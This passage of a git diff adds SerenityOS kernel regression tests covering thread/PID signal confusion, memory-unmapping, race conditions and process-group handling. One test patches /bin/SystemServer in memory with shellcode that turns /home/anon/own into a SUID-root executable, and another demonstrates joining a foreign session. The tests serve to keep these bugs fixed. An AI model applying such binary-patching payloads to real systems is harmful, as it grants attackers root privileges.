||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
do_systematic_tests();
|
||||
|
||||
do_random_tests();
|
||||
|
||||
// If the Kernel survived, pass.
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
149
Tests/Kernel/kill-pidtid-confusion.cpp
Normal file
149
Tests/Kernel/kill-pidtid-confusion.cpp
Normal file
|
@ -0,0 +1,149 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/Format.h>
|
||||
#include <LibPthread/pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Bug:
|
||||
* If the main thread of a process is no longer alive, it cannot receive
|
||||
* signals anymore. This can manifest as, for example, an unkillable process.
|
||||
*
|
||||
* So what needs to happen:
|
||||
* - There is process P
|
||||
* - It has more than one thread
|
||||
* - The main thread calls thread_exit(), leaving the rest of the threads alive
|
||||
* - Now the process is unkillable!
|
||||
*
|
||||
* Here's how to demonstrate the bug:
|
||||
* - Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
* - Time 1: PZ's main thread T1 creates a new thread T2
|
||||
* - Time 2: Nothing (T2 could communicate to PX both process and thread ID)
|
||||
* (most LibC functions crash currently, which is a different bug I suppose.)
|
||||
* - Time 3: T1 calls thread_exit()
|
||||
* - Time 4:
|
||||
* * PX tries to kill PZ (should work, but doesn't)
|
||||
* * PX tries to kill PZ using T2's thread ID (shouldn't work, and doesn't)
|
||||
* * PX outputs all results.
|
||||
*/
|
||||
|
||||
static constexpr useconds_t STEP_SIZE = 1100000;
|
||||
|
||||
static void fork_into(void(fn)())
|
||||
{
|
||||
const pid_t rc = fork();
|
||||
if (rc < 0) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
}
|
||||
if (rc > 0) {
|
||||
return;
|
||||
}
|
||||
fn();
|
||||
dbgln("child finished (?)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void thread_into(void* (*fn)(void*))
|
||||
{
|
||||
pthread_t tid;
|
||||
const int rc = pthread_create(&tid, nullptr, fn, nullptr);
|
||||
if (rc < 0) {
|
||||
perror("pthread_create");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
static void sleep_steps(useconds_t steps)
|
||||
{
|
||||
const int rc = usleep(steps * STEP_SIZE);
|
||||
if (rc < 0) {
|
||||
perror("usleep");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
}
|
||||
|
||||
static bool try_kill(pid_t kill_id)
|
||||
{
|
||||
int rc = kill(kill_id, SIGTERM);
|
||||
perror("kill");
|
||||
printf("kill rc: %d\n", rc);
|
||||
return rc >= 0;
|
||||
}
|
||||
|
||||
static void run_pz();
|
||||
static void* run_pz_t2_wrap(void* fd_ptr);
|
||||
static void run_pz_t2();
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
// This entire function is the entirety of process PX.
|
||||
|
||||
// Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
dbgln("PX forks into PZ");
|
||||
fork_into(run_pz);
|
||||
sleep_steps(4);
|
||||
|
||||
// Time 4:
|
||||
dbgln("Let's hope everything went fine!");
|
||||
pid_t guessed_pid = getpid() + 1;
|
||||
pid_t guessed_tid = guessed_pid + 1;
|
||||
printf("About to kill PID %d, TID %d.\n", guessed_pid, guessed_tid);
|
||||
if (try_kill(guessed_tid)) {
|
||||
printf("FAIL, could kill a thread\n");
|
||||
exit(1);
|
||||
}
|
||||
if (!try_kill(guessed_pid)) {
|
||||
printf("FAIL, could not kill the process\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void run_pz()
|
||||
{
|
||||
// Time 0: PX forks into PZ (mnemonic: Zombie)
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 1: PZ's main thread T1 creates a new thread T2
|
||||
dbgln("PZ calls pthread_create");
|
||||
thread_into(run_pz_t2_wrap);
|
||||
sleep_steps(2);
|
||||
|
||||
// Time 3: T1 calls thread_exit()
|
||||
dbgln("PZ(T1) calls thread_exit");
|
||||
pthread_exit(nullptr);
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
static void* run_pz_t2_wrap(void*)
|
||||
{
|
||||
run_pz_t2();
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void run_pz_t2()
|
||||
{
|
||||
// Time 1: PZ's main thread T1 creates a new thread T2
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 2: Nothing
|
||||
// FIXME: For some reason, both printf() and dbg() crash.
|
||||
// This also prevents us from using a pipe to communicate to PX both process and thread ID
|
||||
// dbgln("T2: I'm alive and well.");
|
||||
sleep_steps(18);
|
||||
|
||||
// Time 20: Cleanup
|
||||
printf("PZ(T2) dies from boredom.\n");
|
||||
exit(0);
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("/bin/SystemServer", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
|
||||
perror("mprotect");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
|
||||
* It does two things:
|
||||
*
|
||||
* chown ("/home/anon/own", 0, 0);
|
||||
* chmod ("/home/anon/own", 04755);
|
||||
*
|
||||
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
|
||||
*
|
||||
*/
|
||||
|
||||
#if 0
|
||||
[bits 32]
|
||||
[org 0x0804b111]
|
||||
jmp $+17
|
||||
path:
|
||||
db "/home/anon/own", 0
|
||||
mov eax, 79
|
||||
mov edx, path
|
||||
mov ecx, 0
|
||||
mov ebx, 0
|
||||
int 0x82
|
||||
mov eax, 67
|
||||
mov edx, path
|
||||
mov ecx, 15
|
||||
mov ebx, 2541
|
||||
int 0x82
|
||||
ret
|
||||
#endif
|
||||
|
||||
const u8 payload[] = {
|
||||
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
|
||||
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
|
||||
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
|
||||
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
|
||||
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
|
||||
};
|
||||
|
||||
memcpy(&ptr[0x3111], payload, sizeof(payload));
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
106
Tests/Kernel/munmap-multi-region-unmapping.cpp
Normal file
106
Tests/Kernel/munmap-multi-region-unmapping.cpp
Normal file
|
@ -0,0 +1,106 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Types.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
{
|
||||
printf("Testing full unnmap\n");
|
||||
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map1 == MAP_FAILED) {
|
||||
perror("mmap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map2 == MAP_FAILED) {
|
||||
perror("mmap 2");
|
||||
return 1;
|
||||
}
|
||||
|
||||
((u32*)map1)[0] = 0x41414141;
|
||||
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
|
||||
|
||||
((u32*)map2)[0] = 0xbeefbeef;
|
||||
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
|
||||
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|
||||
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int res = munmap(map1, 4 * PAGE_SIZE);
|
||||
if (res < 0) {
|
||||
perror("unmap");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
{
|
||||
printf("Testing partial unmapping\n");
|
||||
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map1 == MAP_FAILED) {
|
||||
perror("mmap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map2 == MAP_FAILED) {
|
||||
perror("mmap 2");
|
||||
return 1;
|
||||
}
|
||||
|
||||
((u32*)map1)[0] = 0x41414141;
|
||||
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
|
||||
|
||||
((u32*)map2)[0] = 0xbeefbeef;
|
||||
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
|
||||
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|
||||
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int res = munmap((void*)((FlatPtr)map1 + PAGE_SIZE), 2 * PAGE_SIZE);
|
||||
if (res < 0) {
|
||||
perror("unmap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
auto* map3 = mmap((void*)((FlatPtr)map1 + PAGE_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map3 == MAP_FAILED) {
|
||||
perror("remap 1");
|
||||
return 1;
|
||||
}
|
||||
auto* map4 = mmap(map2, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
|
||||
if (map4 == MAP_FAILED) {
|
||||
perror("remap 2");
|
||||
return 1;
|
||||
}
|
||||
((u32*)map3)[0] = 0x13371337;
|
||||
((u32*)map4)[0] = 0x1b1b1b1b;
|
||||
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de
|
||||
|| ((u32*)map3)[0] != 0x13371337 || ((u32*)map4)[0] != 0x1b1b1b1b
|
||||
|| ((u32*)map1)[PAGE_SIZE / sizeof(int)] != ((u32*)map3)[0] || ((u32*)map2)[0] != ((u32*)map4)[0]) {
|
||||
perror("read at old map and write at remap");
|
||||
return 1;
|
||||
}
|
||||
|
||||
res = munmap(map1, PAGE_SIZE * 4);
|
||||
if (res < 0) {
|
||||
perror("cleanup");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
135
Tests/Kernel/nanosleep-race-outbuf-munmap.cpp
Normal file
135
Tests/Kernel/nanosleep-race-outbuf-munmap.cpp
Normal file
|
@ -0,0 +1,135 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static void signal_printer(int)
|
||||
{
|
||||
// no-op
|
||||
}
|
||||
|
||||
typedef struct yank_shared_t {
|
||||
timespec* remaining_sleep;
|
||||
// TODO: Be nice and use thread ID
|
||||
//pthread_t sleeper_thread;
|
||||
} yank_shared_t;
|
||||
|
||||
static void* yanker_fn(void* shared_)
|
||||
{
|
||||
yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
|
||||
|
||||
timespec requested_sleep = { 1, 0 };
|
||||
int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
delete shared->remaining_sleep; // T2
|
||||
|
||||
// Send SIGUSR1.
|
||||
|
||||
// Use pthread:
|
||||
// pthread_kill(somewhere, SIGUSR1);
|
||||
// But wait! pthread_kill isn't implemented yet, and therefore causes
|
||||
// a linker error. It also looks like the corresponding syscall is missing.
|
||||
|
||||
// Use normal IPC syscall:
|
||||
// kill(getpid(), SIGUSR1);
|
||||
// But wait! If destination_pid == own_pid, then the signal is sent
|
||||
// to the calling thread, *no matter what*.
|
||||
|
||||
// So, we have to go the very ugly route of fork():
|
||||
// (Thank goodness this is only a demo of a kernel bug!)
|
||||
pid_t pid_to_kill = getpid();
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid < 0) {
|
||||
printf("Yanker: Fork failed: %d\n", child_pid);
|
||||
pthread_exit(nullptr); // See below
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
if (child_pid > 0) {
|
||||
// Success. Terminate quickly. T3
|
||||
// FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
|
||||
// Workaround: Exit manually.
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Give parent *thread* a moment to die.
|
||||
requested_sleep = { 1, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Prod the parent *process*
|
||||
kill(pid_to_kill, SIGUSR1); // T4
|
||||
|
||||
// Wait a moment, to ensure the log output is as well-separated as possible.
|
||||
requested_sleep = { 2, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
|
||||
if (rc != 0) {
|
||||
printf("Yanker-child: Failed during after-sleep: %d\n", rc);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
pthread_exit(nullptr);
|
||||
assert(false);
|
||||
// FIXME: return nullptr;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// Chronological order:
|
||||
// T0: Main thread allocates region for the outvalue of clock_nanosleep
|
||||
// T1: Main thread enters clock_nanosleep
|
||||
// T2: Side thread deallocates that region
|
||||
// T3: Side thread dies
|
||||
// T4: A different process sends SIGUSR1, waking up the main thread,
|
||||
// forcing the kernel to write to the deallocated Region.
|
||||
|
||||
// I'm sorry that both a side *thread* and a side *process* are necessary.
|
||||
// Maybe in the future this test can be simplified, see above.
|
||||
|
||||
yank_shared_t shared = { nullptr };
|
||||
shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
|
||||
|
||||
pthread_t yanker_thread;
|
||||
int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
|
||||
if (rc != 0) {
|
||||
perror("pthread");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set an action for SIGUSR1, so that the sleep can be interrupted:
|
||||
signal(SIGUSR1, signal_printer);
|
||||
|
||||
// T1: Go to sleep.
|
||||
const timespec requested_sleep = { 3, 0 };
|
||||
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
|
||||
// Now we are beyond T4.
|
||||
|
||||
if (rc == 0) {
|
||||
// We somehow weren't interrupted. Bad.
|
||||
printf("Not interrupted.\n");
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// nanosleep was interrupted and the kernel didn't crash. Good!
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
42
Tests/Kernel/null-deref-close-during-select.cpp
Normal file
42
Tests/Kernel/null-deref-close-during-select.cpp
Normal file
|
@ -0,0 +1,42 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("ST: close()\n");
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
fd_set rfds;
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(pipefds[1], &rfds);
|
||||
|
||||
printf("MT: select()\n");
|
||||
int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
|
||||
if (rc < 0) {
|
||||
perror("select");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
27
Tests/Kernel/null-deref-crash-during-pthread_join.cpp
Normal file
27
Tests/Kernel/null-deref-crash-during-pthread_join.cpp
Normal file
|
@ -0,0 +1,27 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/select.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
asm volatile("ud2");
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
pthread_join(tid, nullptr);
|
||||
|
||||
printf("ok\n");
|
||||
return 0;
|
||||
}
|
22
Tests/Kernel/path-resolution-race.cpp
Normal file
22
Tests/Kernel/path-resolution-race.cpp
Normal file
|
@ -0,0 +1,22 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
if (!fork()) {
|
||||
for (;;) {
|
||||
mkdir("/tmp/x", 0666);
|
||||
rmdir("/tmp/x");
|
||||
}
|
||||
}
|
||||
for (;;) {
|
||||
chdir("/tmp/x");
|
||||
}
|
||||
return 0;
|
||||
}
|
76
Tests/Kernel/pthread-cond-timedwait-example.cpp
Normal file
76
Tests/Kernel/pthread-cond-timedwait-example.cpp
Normal file
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <cassert>
|
||||
#include <cstring>
|
||||
#include <ctime>
|
||||
#include <errno.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
struct worker_t {
|
||||
const char* name;
|
||||
int count;
|
||||
pthread_t thread;
|
||||
pthread_mutex_t lock;
|
||||
pthread_cond_t cond;
|
||||
long int wait_time;
|
||||
};
|
||||
|
||||
static void* run_worker(void* args)
|
||||
{
|
||||
struct timespec time_to_wait = { 0, 0 };
|
||||
worker_t* worker = (worker_t*)args;
|
||||
worker->count = 0;
|
||||
|
||||
while (worker->count < 25) {
|
||||
time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
|
||||
pthread_mutex_lock(&worker->lock);
|
||||
int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
|
||||
|
||||
// Validate return code is always timed out.
|
||||
assert(rc == -1);
|
||||
assert(errno == ETIMEDOUT);
|
||||
|
||||
worker->count++;
|
||||
printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
|
||||
pthread_mutex_unlock(&worker->lock);
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
static void init_worker(worker_t* worker, const char* name, long int wait_time)
|
||||
{
|
||||
worker->name = name;
|
||||
worker->wait_time = wait_time;
|
||||
|
||||
pthread_attr_t attr;
|
||||
pthread_attr_init(&attr);
|
||||
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
|
||||
|
||||
pthread_mutex_init(&worker->lock, nullptr);
|
||||
pthread_cond_init(&worker->cond, nullptr);
|
||||
pthread_create(&worker->thread, &attr, &run_worker, (void*)worker);
|
||||
|
||||
pthread_attr_destroy(&attr);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
worker_t worker_a;
|
||||
init_worker(&worker_a, "A", 2L);
|
||||
|
||||
worker_t worker_b;
|
||||
init_worker(&worker_b, "B", 4L);
|
||||
|
||||
pthread_join(worker_a.thread, nullptr);
|
||||
pthread_join(worker_b.thread, nullptr);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
276
Tests/Kernel/setpgid-across-sessions-without-leader.cpp
Normal file
276
Tests/Kernel/setpgid-across-sessions-without-leader.cpp
Normal file
|
@ -0,0 +1,276 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/Format.h>
|
||||
#include <fcntl.h>
|
||||
#include <serenity.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Bug:
|
||||
* A process can join a process group across sessions if both process groups
|
||||
* do not have a leader (anymore). This can be used to join a session
|
||||
* illegitimately. (Or, more harmlessly, to change the own PGID to an unused
|
||||
* but arbitrary one, for example the PGID 0xDEADBEEF or the one that's going
|
||||
* to be your program's session ID in the short-term future.)
|
||||
*
|
||||
* So what needs to happen:
|
||||
* - There is session SA
|
||||
* - There is session SB
|
||||
* - There is a Process Group PGA in SA
|
||||
* - There is a Process Group PGB in SB
|
||||
* - PGA does not have a leader
|
||||
* - PGB does not have a leader
|
||||
* - There is a Process PA2 in PGA
|
||||
* - There is a Process PB2 in PGB
|
||||
* - PA2 calls setpgid(0, PGB)
|
||||
* - Now PA2 and PB2 are in the same processgroup, but not in the same session. WHAAAAT! :^)
|
||||
*
|
||||
* Here's how to demonstrate the bug:
|
||||
* - Time 0: PX forks into PA1
|
||||
* - Time 1: PA1 creates a new session (SA) and pgrp (PGA)
|
||||
* - Time 2: PA1 forks into PA2
|
||||
* - Time 3: PA1 dies (PGA now has no leader)
|
||||
* Note: PA2 never dies. Too much hassle.
|
||||
* - Time 4: PX forks into PB1
|
||||
* - Time 5: PB1 creates a new session (SB) and pgrp (PGB)
|
||||
* - Time 6: PB1 forks into PB2
|
||||
* - Time 7: PB1 dies (PGB now has no leader)
|
||||
* - Time 8: PB2 calls pgrp(0, PGA)
|
||||
* Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
|
||||
* - Time 9: If PX hasn't received any message yet through the pipe, it declares the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
|
||||
*/
|
||||
|
||||
static constexpr useconds_t STEP_SIZE = 1100000;
|
||||
|
||||
static void fork_into(void (*fn)(void*), void* arg)
|
||||
{
|
||||
const pid_t rc = fork();
|
||||
if (rc < 0) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
}
|
||||
if (rc > 0) {
|
||||
const int disown_rc = disown(rc);
|
||||
if (disown_rc < 0) {
|
||||
perror("disown");
|
||||
dbgln("This might cause PA1 to remain in the Zombie state, "
|
||||
"and thus in the process list, meaning the leader is "
|
||||
"still 'alive' for the purpose of lookup.");
|
||||
}
|
||||
return;
|
||||
}
|
||||
fn(arg);
|
||||
dbgln("child finished (?)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void sleep_steps(useconds_t steps)
|
||||
{
|
||||
const int rc = usleep(steps * STEP_SIZE);
|
||||
if (rc < 0) {
|
||||
perror("usleep");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
}
|
||||
|
||||
static void run_pa1(void*);
|
||||
static void run_pa2(void*);
|
||||
static void run_pb1(void*);
|
||||
static void run_pb2(void*);
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
// This entire function is the entirety of process PX.
|
||||
|
||||
// Time 0: PX forks into PA1
|
||||
int fds[2];
|
||||
// Serenity doesn't support O_NONBLOCK for pipes yet, so
|
||||
// sadly the test will hang if something goes wrong.
|
||||
if (pipe2(fds, 0) < 0) {
|
||||
perror("pipe");
|
||||
exit(1);
|
||||
}
|
||||
dbgln("PX starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PX forks into PA1");
|
||||
fork_into(run_pa1, nullptr);
|
||||
sleep_steps(4);
|
||||
|
||||
// Time 4: PX forks into PB1
|
||||
dbgln("PX forks into PB1");
|
||||
fork_into(run_pb1, &(fds[1]));
|
||||
sleep_steps(5);
|
||||
|
||||
// Time 9: If PX hasn't received any message yet through the pipe, it declares
|
||||
// the test as failed (for lack of knowledge). Otherwise, it outputs accordingly.
|
||||
dbgln("PX reads from pipe");
|
||||
unsigned char buf = 42;
|
||||
ssize_t rc = read(fds[0], &buf, 1);
|
||||
if (rc == 0) {
|
||||
// In fact, we only reach this branch when *all* processes have died,
|
||||
// including this one. So … should be unreachable.
|
||||
printf("DOUBLE FAIL: pipe is closed, but we still have it open.\n"
|
||||
"See debug log, some process probably crashed.\n");
|
||||
exit(1);
|
||||
}
|
||||
if (rc < 0) {
|
||||
if (errno == EAGAIN) {
|
||||
printf("FAIL: pipe has no data. See debug log, some process os probably hanging.\n");
|
||||
} else {
|
||||
perror("read (unknown)");
|
||||
}
|
||||
exit(1);
|
||||
}
|
||||
VERIFY(rc == 1);
|
||||
if (buf == 0) {
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
if (buf == 1) {
|
||||
printf("FAIL (exploit successful)\n");
|
||||
return 1;
|
||||
}
|
||||
printf("FAIL, for some reason %c\n", buf);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void run_pa1(void*)
|
||||
{
|
||||
// Time 0: PX forks into PA1
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 1: PA1 creates a new session (SA) and pgrp (PGA)
|
||||
dbgln("PA1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PA1 calls setsid()");
|
||||
int rc = setsid();
|
||||
if (rc < 0) {
|
||||
perror("setsid (PA)");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
dbgln("PA1 did setsid() -> PGA={}, SA={}, yay!", rc, getsid(0));
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 2: PA1 forks into PA2
|
||||
dbgln("PA1 forks into PA2");
|
||||
fork_into(run_pa2, nullptr);
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 3: PA1 dies (PGA now has no leader)
|
||||
dbgln("PA1 dies. You should see a 'Reaped unparented process' "
|
||||
"message with my ID next, OR THIS TEST IS MEANINGLESS "
|
||||
"(see fork_into()).");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
static void run_pa2(void*)
|
||||
{
|
||||
// Time 2: PA1 forks into PA2
|
||||
dbgln("PA2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
sleep_steps(18);
|
||||
|
||||
// pa_2 never *does* anything.
|
||||
dbgln("PA2 dies from boredom.");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void run_pb1(void* pipe_fd_ptr)
|
||||
{
|
||||
// Time 4: PX forks into PB1
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 5: PB1 creates a new session (SB) and pgrp (PGB)
|
||||
